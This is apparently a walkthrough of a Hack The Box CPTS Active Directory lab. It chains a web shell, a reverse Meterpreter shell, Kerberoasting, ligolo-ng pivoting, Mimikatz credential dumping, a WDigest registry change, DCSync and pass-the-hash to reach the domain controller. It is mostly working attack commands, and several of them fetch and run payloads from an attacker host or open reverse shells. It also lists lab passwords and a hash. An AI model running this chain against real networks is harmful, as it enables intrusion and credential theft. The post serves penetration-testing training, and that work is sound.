Active Directory Enumeration & Attacks — Skill Assessment (Part 1) — How I chained Kerberoasting → WDigest → DCSync to compromise an entire Active Directory domain
Overview
This lab is one of the most advanced scenarios in the HTB CPTS path. This is not a simple box where you find one vulnerability and get root. This lab requires chaining multiple techniques together — that's what makes it challenging.
Unlike previous labs, this challenge focuses heavily on:
- Active Directory enumeration
- Credential attacks (Kerberos, LSA, hashes)
- Pivoting inside internal networks
- Achieving full domain compromise
The key idea: There is no single exploit that will give you domain admin. You need to chain multiple techniques together — each step builds on the previous one.
Objective
The goal of this lab is to:
- Gain initial foothold via web shell
- Enumerate the Active Directory environment
- Extract credentials from memory
- Pivot across internal hosts
- Finally achieve Domain Admin-level access on the Domain Controller
This is a real-world scenario where you start with limited access and need to escalate privileges step by step until you have control over the entire domain.
Attack Path
Web Shell Access (Provided)
↓
Reverse Shell (Metasploit/Meterpreter)
↓
PowerView Enumeration
↓
Kerberoasting → Crack Password
↓
Pivot to Internal Host (MS01)
↓
Credential Dumping (LSASS/Mimikatz)
↓
Enable WDigest → Extract Plaintext Password
↓
Check DCSync Permissions
↓
DCSync Attack (as tpetty)
↓
Extract Administrator Hash
↓
Evil-WinRM to Domain Controller
↓
DOMAIN COMPROMISEEach step is critical. Skip one and you're stuck.
Step 1: Initial Access — Web Shell
The scenario provides us with a pre-compromised web server that has a web shell already deployed. This is common in real penetration tests — you might gain initial access through an initial vulnerability and need to escalate from there.
The web shell is located at /uploads/antak.aspx. This is an ASPX web shell which gives us command execution on the Windows web server.
Login credentials are provided in the scenario description. Let's access the web shell.
Login credentials:
Username: admin
Password: My_W3bsH3ll_P@ssw0rd!Let's first check what user we're running as:
whoami✔ Output: nt authority\system
This is great! We're already running as SYSTEM — the highest privileged user on Windows. This means we have full control over this web server. SYSTEM can do anything on the machine, including accessing any user files, services, and configurations.
Finding the First Flag
Since we have SYSTEM access, let's grab the first flag. It's likely on the Administrator desktop:
type C:\Users\Administrator\Desktop\flag.txtWe got the first flag. Let's note this down and continue.
Step 2: Upgrade Shell
The web shell is limited — it works but we can't do advanced stuff like upload files easily or run interactive tools. We need a more stable shell. Let's upgrade to a Meterpreter reverse shell.
This will give us better control over the target and allow us to run more sophisticated attacks. Meterpreter stays in memory, making it harder to detect, and we can use its built-in features for pivoting and port forwarding.
Checking the Target System
Before generating our payload, let's understand what we're working with. The target is Windows — we need to generate an appropriate payload.
Generating the Payload
We use msfvenom to create a Windows Meterpreter reverse HTTPS shell:
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.153 -f exe -o payload.exe LPORT=4444This creates an executable that will connect back to our machine on port 4444 using HTTPS. The reverse_https payload is good because it often bypasses firewalls and network monitoring.
Key options explained:
-p windows/x64/meterpreter/reverse_https- the payload typelhost=10.10.14.153- our attacker machine IP (change this to your IP)-f exe- output format is Windows executable-o payload.exe- output filenameLPORT=4444- the port to connect back to
Setting Up the Listener
We need something to catch the reverse shell. Use Metasploit's multi/handler:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.14.153
set LPORT 4444
runKeep this running in a terminal. It will listen for incoming connections. Don't close this terminal while working on the target.
Starting the File Server
We need to get the payload onto the target. Simple way — start a Python HTTP server in the directory where we have the payload:
python3 -m http.serverThis serves files on port 8000 by default. Keep this running.
Downloading and Executing on Target
Now from the web shell, download and execute our payload:
Invoke-WebRequest -Uri "http://10.10.14.153:8000/payload.exe" -OutFile "C:\Windows\System32\inetsrv\payload.exe"
Start-Process "C:\Windows\System32\inetsrv\payload.exe"The first command downloads the payload to the target, the second executes it. Watch your Metasploit listener terminal — you should get a session!
✔ Meterpreter session obtained
Getting Interactive Shell
Now we have a Meterpreter session. Let's interact with it:
sessions -i 1Now upgrade to a proper shell:
shellWe just use shell , to get our shell and from there we can execute powershell.exe to be able to use powershell on the machine .
Now we have full PowerShell access to the web server. This is much better than the limited web shell.
Step 3: Upload Enumeration Tools
Now we need to enumerate Active Directory. The web server is joined to an AD domain, which means we can query AD for information.
For AD enumeration on Windows, PowerView is the standard tool. It's part of PowerSploit framework and provides extensive AD enumeration capabilities. With PowerView, we can query users, computers, groups, ACLs, and find vulnerabilities in AD.
Downloading PowerView
On our attacker machine, download PowerView from GitHub:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.psMake sure the file is saved in the same directory where our Python server is running so we can transfer it to the target.
Invoke-WebRequest -Uri "http://10.10.14.153:8000/PowerView.ps1" -OutFile "C:\PowerView.ps1"PowerView is now on the target at C:\PowerView.ps1. We're ready to enumerate AD.
Step 4: Active Directory Enumeration
Now let's enumerate the Active Directory environment using PowerView.
Import PowerView
First, load the PowerView module:
Import-Module .\PowerView.ps1Now we can use PowerView commands. This imports all the cmdlets into PowerShell.
Find Kerberoastable Accounts
One common attack in AD is Kerberoasting. Service accounts often have SPN (Service Principal Name) set, which allows us to request a TGS ticket and crack it offline.
Let's find users with SPN:
Get-DomainUser * -SPN | Select samAccountNameThis command queries all users that have an SPN set. These accounts are vulnerable to Kerberoasting.
The output shows: svc_sql
This is a service account — likely running a SQL server service. Service accounts with SPN are common targets for Kerberoasting because they often have weak passwords that can be cracked offline.
To get more info about this user:
Get-DomainUser -Identity svc_sqlWe can see details about this account — which domain they're in, their groups, etc. But more importantly, we can extract the Kerberos ticket for this account.
Step 5: Kerberoasting Attack
Kerberoasting is an attack against Kerberos TGS tickets. Here's how it works:
- We request a TGS ticket for the service account (no authentication needed, anyone can ask)
- The ticket is encrypted with the account's password hash
- We extract the ticket and crack it offline using Hashcat
This works because service accounts often have weak passwords that can be cracked. The beauty is that this is all done offline — the target system never sees failed login attempts.
Extract the Ticket
Use PowerView to get the ticket in Hashcat format:
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format HashcatCopy this hash exactly to a file on our attacker machine. Important — copy it exactly, no extra spaces or newlines..
Cleaning the Hash
Sometimes there are extra characters that interfere with cracking. Clean the hash:
tr -d ' \n\r' < svc_sql_hash.txt > clean_svc_sql_hash.txtThis removes spaces and carriage returns that might have been copied accidentally.
Cracking the Hash
Now let's crack it with Hashcat. Using mode 13100 for Kerberos 5 TGS-REP:
hashcat -m 13100 -a 0 clean_svc_sql_hash.txt /usr/share/wordlists/rockyou.txtThe output shows: svc_sql : lucky7
We got the password! Now we can use this to pivot to other machines.
Step 6: Pivoting to Internal Host (MS01)
Now we have credentials for svc_sql. Let's see if we can access other machines in the domain.
Finding MS01 IP
First, try to ping MS01 to find its IP address:
ping MS01The ping should work and return the IP address. We can also check using:
ipconfigThis will show us the internal IP address. WEB-WIN01 (the first compromised machine) should have an internal IP like 172.16.6.100. Let's note these IPs.
Connecting via PowerShell Remoting
Now let's try to connect to MS01 using PowerShell Remoting (WinRM):
$user = "inlanefreight\svc_sql"
$Password = ConvertTo-SecureString "lucky7" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential ($user, $Password)
Enter-PSSession -ComputerName "MS01.inlanefreight.local" -Credential $credentialsNow we can use the Enter-PSSession Command , but we need the full computer name — "MS01.INLANEFREIGHT.LOCAL", usually i would use PowerView to get more information about that machine including the full name , but here we got it from the ping command and it was MS01.INLANEFREIGHT.LOCAL .
This should give us access to MS01
Enter-PSSession -ComputerName "MS01.inlanefreight.local" -Credential $credentialsGood , Now we can see that we cant really do much from here , we can't move around directories or read files or any of that , let s check if there are any open Ports on this machine , maybe it has RDP open .
However, looking at the situation, we need a better way to access MS01 since the PSSession might be limited. Let's set up a SOCKS proxy using ligolo-ng to access internal machines properly.
Step 7: Setting Up Proxy for Pivoting
To scan and access internal hosts, we need to set up a SOCKS proxy. Ligolo-ng is perfect for this — it's faster than proxychains and works well with Metasploit.
Downloading Ligolo-ng Proxy
On our attacker machine:
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
tar -xvf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
chmod +x proxy
sudo ./proxy -selfcertThis starts the ligolo proxy on your attacker machine. Keep this running.
Downloading Ligolo-ng Agent
Now download the Windows agent:
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip
unzip ligolo-ng_agent_0.8.3_windows_amd64.zipTransfer Agent to Target
Host the agent file and transfer to the target:
Invoke-WebRequest -Uri "http://10.10.14.153:8000/agent.exe" -OutFile "$env:TEMP\agent.exe"Connect Agent to Proxy
Start the agent to connect back to our proxy:
Start-Process "$env:TEMP\agent.exe" -ArgumentList "-connect 10.10.14.153:11601 -ignore-cert"The agent should now connect to our ligolo proxy. Check the proxy terminal — it should show a new session.
Check Sessions in Ligolo
In the ligolo proxy terminal, type:
sessionThis will show us the active sessions. We should see session 1.
Adding Routes
Once connected, add routes to access the internal network:
sudo ip route add 172.16.6.0/24 dev ligoloNow we can access the 172.16.6.0/24 network through the tunnel.
Start Tunnel
In the ligolo proxy, start the tunnel:
startNow network traffic can flow through the tunnel.
Scanning MS01
Let's check what ports are open on MS01. The internal IP should be something like 172.16.6.50:
proxychains nmap -sT -Pn -p 3389,5985,445,22 172.16.6.50This will help us determine how to access the machine.
Accessing MS01 via RDP
Now connect to MS01 using xfreerdp:
xfreerdp /v:172.16.6.50 /u:INLANEFREIGHT\\svc_sql /p:lucky7 /sec:nla /cert:ignore /dynamic-resolutionWe should now have an RDP session to MS01. Let's check for flags.
The flag is : spn$_r0ast1ng_on_@n_0p3n_f1re
Step 8: Privilege Escalation on MS01
Now we need to escalate privileges on MS01 to get closer to domain admin.
Enumerating Logged-in Users
Open Task Manager (Right-click taskbar → Task Manager) and look at the Users tab. We see another user logged in: tpetty
This is interesting — tpetty has an active session on this machine.
Check Local Administrators
Let's see who's a local administrator:
net localgroup AdministratorsThis shows svc_sql is a local administrator. Good — we have admin rights.
Extracting Credentials with Mimikatz
Since we're a local admin, we can use Mimikatz to extract credentials from memory. This works because admin users' credentials are cached in the LSASS process.
Downloading Mimikatz
First, download Mimikatz on our attacker machine:
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zipThen start python server:
python3 -m http.serverSetting Up Transfer
Since MS01 might not reach our attacker machine directly, we'll use WEB-WIN01 (the first compromised machine) as a proxy to serve files.
On WEB-WIN01 (our first compromise by metasploit), start a PowerShell HTTP server:
cd C:\Windows\Temp
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://*:8080/')
$listener.Start()
Write-Host "Serving on port 8080. Press Ctrl+C to stop."
while ($true) {
$context = $listener.GetContext()
$file = $context.Request.RawUrl.TrimStart('/')
$path = Join-Path $PWD $file
if (Test-Path $path) {
$buffer = [System.IO.File]::ReadAllBytes($path)
$context.Response.ContentLength64 = $buffer.Length
$context.Response.OutputStream.Write($buffer, 0, $buffer.Length)
} else {
$context.Response.StatusCode = 404
}
$context.Response.Close()
}This runs a simple HTTP server on port 8080.
Allow Firewall
If Windows Firewall blocks it, allow the port:
netsh advfirewall firewall add rule name="HTTP Server" dir=in action=allow protocol=TCP localport=8080Download on MS01
Now from MS01 (our RDP session), download Mimikatz:
Invoke-WebRequest -Uri "http://172.16.6.100:8080/mimikatz.exe" -OutFile "$env:USERPROFILE\Desktop\mimikatz.exe"Run Mimikatz
Launch Mimikatz as a Administrator:
Enable debug privileges:
privilege::debugExtract credentials:
sekurlsa::logonpasswordsThe username is : tpetty .
Now after using Mimikatz , we get the hash for the tpetty user , but it s not crackable (Makes sense since they insisted on the fact that it is in Plain Text) , So how can we do that exactly?
Since Mimikatz will dump the credentials from the LSASS process , in case there is a feature enabled the LSASS will store the credentials in plain text temporarily for convenience , the feature is a the Registry key UseLogonCredential needs to be set to 1 , in that case we will have the password stored in clear text . So now we need to enable that Registry Key to be able to extract the Clear text Password.
Step 9: Enabling WDigest for Plaintext Password
As we know the hash isn't crackable. But there's another way — we can enable WDigest to dump plaintext passwords from memory.
What is WDigest?
WDigest is an older authentication protocol that stores passwords in plain text in memory. It was disabled by default in Windows 8+ but can be re-enabled via registry.
When enabled, LSASS stores the plaintext password in memory, which Mimikatz can dump.
Modifying Registry
Run this command as Administrator to enable WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fThis sets the UseLogonCredential registry key to 1, enabling WDigest to store plaintext passwords.
Forcing Logoff
For this to take effect, the user needs to log off and log back on. Since we can't log off tpetty's session, we can force a restart:
shutdown.exe /r /t 0 /fThis restarts MS01 immediately.
This restarts MS01 immediately.
Reconnecting
After MS01 restarts, reconnect via RDP:
xfreerdp /v:172.16.6.50 /u:INLANEFREIGHT\\svc_sql /p:lucky7 /sec:nla /cert:ignore /dynamic-resolutionRunning Mimikatz Again
privilege::debug
sekurlsa::logonpasswordsThis time, we get the plaintext password!
The output shows tpetty's password: Sup3rS3cur3D0m@inU2eR
Now we have the password for tpetty. Let's continue.
To answear this we can use PowerView , either on our Web Server , or on the MS01 machine since we already moved PowerView there earlier , i'll just do it from the first machine . We can query the information realted to the tpetty user and find our if we can do a DCSync attack using this PowerView command :
Step 10: Checking DCSync Permissions
Now that we have tpetty's credentials, let's check if tpetty has permissions to perform a DCSync attack.
What is DCSync?
DCSync is a technique where we impersonate a Domain Controller to request password hashes from the actual Domain Controller. This requires replication privileges, not necessarily Domain Admin.
Using PowerView
Import PowerView (we already transferred it earlier):
Import-Module .\PowerView.ps1Get the SID for tpetty:
$sid = Convert-NameToSid tpettyCheck ACLs for DCSync permissions:
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | flThis shows whether tpetty has replication rights. If the output shows permissions, we can perform DCSync.
This confirms tpetty has the necessary permissions to perform a DCSync attack.
Important clarification
This does not automatically mean a DCSync attack is happening, or that the account is compromised. It only means:
This account has the permissions required to perform DCSync-style replication requests.
Now to do this we can execute a PowerShell session as the user tpetty , then perform a DCSync attack using his session and from there we can use the Administrator hash to either login to the DC01 or just generate a TGT using Rubeus and do a Pass the ticket attack to get the flag .
Step 11: Performing DCSync Attack
Now let's use DCSync to get the Domain Administrator's hash.
Opening PowerShell as tpetty
We need to run Mimikatz as tpetty. Use runas:
First, open a new command window as tpetty:
runas /user:INLANEFREIGHT\tpetty powershell.exeEnter the password when prompted: Sup3rS3cur3D0m@inU2eR
This gives us a PowerShell session running as tpetty by auto opening another powershell terminal.
Start HTTP Server Again
Make sure the HTTP server is running on WEB-WIN01 (port 8080). If not, start it again:
cd C:\Windows\Temp
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://*:8080/')
$listener.Start()
Write-Host "Serving on port 8080. Leave this window open."
while ($true) {
$context = $listener.GetContext()
$file = $context.Request.RawUrl.TrimStart('/')
$path = Join-Path $PWD $file
if (Test-Path $path) {
$buffer = [System.IO.File]::ReadAllBytes($path)
$context.Response.ContentLength64 = $buffer.Length
$context.Response.OutputStream.Write($buffer, 0, $buffer.Length)
} else { $context.Response.StatusCode = 404 }
$context.Response.Close()
}Allow Firewall if Needed
If Windows Firewall blocks port 8080:
netsh advfirewall firewall add rule name="HTTP 8080" dir=in action=allow protocol=TCP localport=8080In tpetty Session — Download Mimikatz
Now from the tpetty PowerShell window, download Mimikatz:
Invoke-WebRequest -Uri "http://172.16.6.100:8080/mimikatz.exe" -OutFile "$env:TEMP\mimikatz.exe"This impersonates a Domain Controller and requests the Administrator account's password hash.
The output shows the Administrator's NTLM hash:
Administrator:NTLM:27dedb1dab4d8545c6e1c66fba077da0We got the hash. Now we can use this to access the Domain Controller.
Step 12: Accessing Domain Controller
Now we have the Administrator hash. Let's access the Domain Controller.
Finding DC01
Remember we did the Auto Route earlier to scan for open ports on the MS01 machine , since the DC is also in the same subnet , we should be able to reach it as well using Proxychains , we'll use nmap to scan the ports to see if we have WinRM or RDP open .
proxychains nmap -sT -Pn -p 3389,5985,445,88 172.16.6.3This confirms ports are open on the Domain Controller.
- Port 88 — Kerberos
- Port 445 — SMB
- Port 3389 — RDP
- Port 5985 — WinRM
Simple let's ping the DC01 host
As we can see, the DC01 host IP is 172.16.6.3
Now that the network path is clear, we can use evil-winrm from your attacker machine to connect directly to DC01 (172.16.6.3) using the NTLM hash you obtained:
evil-winrm -i 172.16.6.3 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0We should now have a shell on the Domain Controller as Administrator!
Finding the Final Flag
On DC01, look for the final flag:
cd C:\Users\Administrator\Desktop
dir
type flag.txtKey Takeaways
This lab teaches important lessons about Active Directory attacks:
- Kerberoasting — Service accounts with SPN can be attacked offline. Always check for SPN accounts and crack their tickets.
- WDigest — Even when passwords aren't crackable, enabling WDigest can give plaintext passwords from memory. This is a known technique but requires registry changes and logoff/restart.
- DCSync — You don't need to be Domain Admin to dump password hashes. Replication rights are enough. Always check ACLs for replication permissions.
- Pivoting — Ligolo-ng makes pivoting much easier than traditional proxychains. It creates a smooth tunnel through compromised hosts.
- Chaining — No single technique gets domain admin. Every step builds on the previous one. Start small, enumerate, escalate, repeat.
Tools Used
- PowerView — Active Directory enumeration
- Metasploit — Reverse shell handling
- msfvenom — Payload generation
- Hashcat — Password cracking
- Ligolo-ng — Pivoting tunnel
- Mimikatz — Credential dumping
- Evil-WinRM — Pass-the-hash remote access
- xfreerdp — RDP client
Conclusion
This lab demonstrates a complete Active Directory attack chain from initial web shell to full domain compromise. The key learnings:
- No single exploit works — Multiple techniques must be chained together
- Kerberoasting is effective against service accounts with SPN set
- WDigest can expose plaintext passwords when registry key is enabled
- DCSync only requires replication rights, not full Domain Admin
- Ligolo-ng makes pivoting much easier than proxychains
The attack path follows the penetration testing methodology:
- Initial Access via web shell
- Shell upgrade with Metasploit
- Active Directory enumeration with PowerView
- Kerberoasting vulnerable service account
- Lateral movement to internal host via Ligolo-ng tunnel
- Credential dumping with Mimikatz
- WDigest registry modification for plaintext password
- DCSync attack to extract Domain Admin hash
- Pass-the-hash with evil-winrm to Domain Controller
Network progression:
- WEB-WIN01 (Initial target) → MS01 (Internal host) → DC01 (Domain Controller)
Credentials Flow
admin:My_W3bsH3ll_P@ssw0rd → svc_sql:lucky7 → tpetty:Sup3rS3cur3D0m@inU2eR → AdministratorThanks for reading! Keep hacking, stay curious, and don't forget to touch grass… occasionally.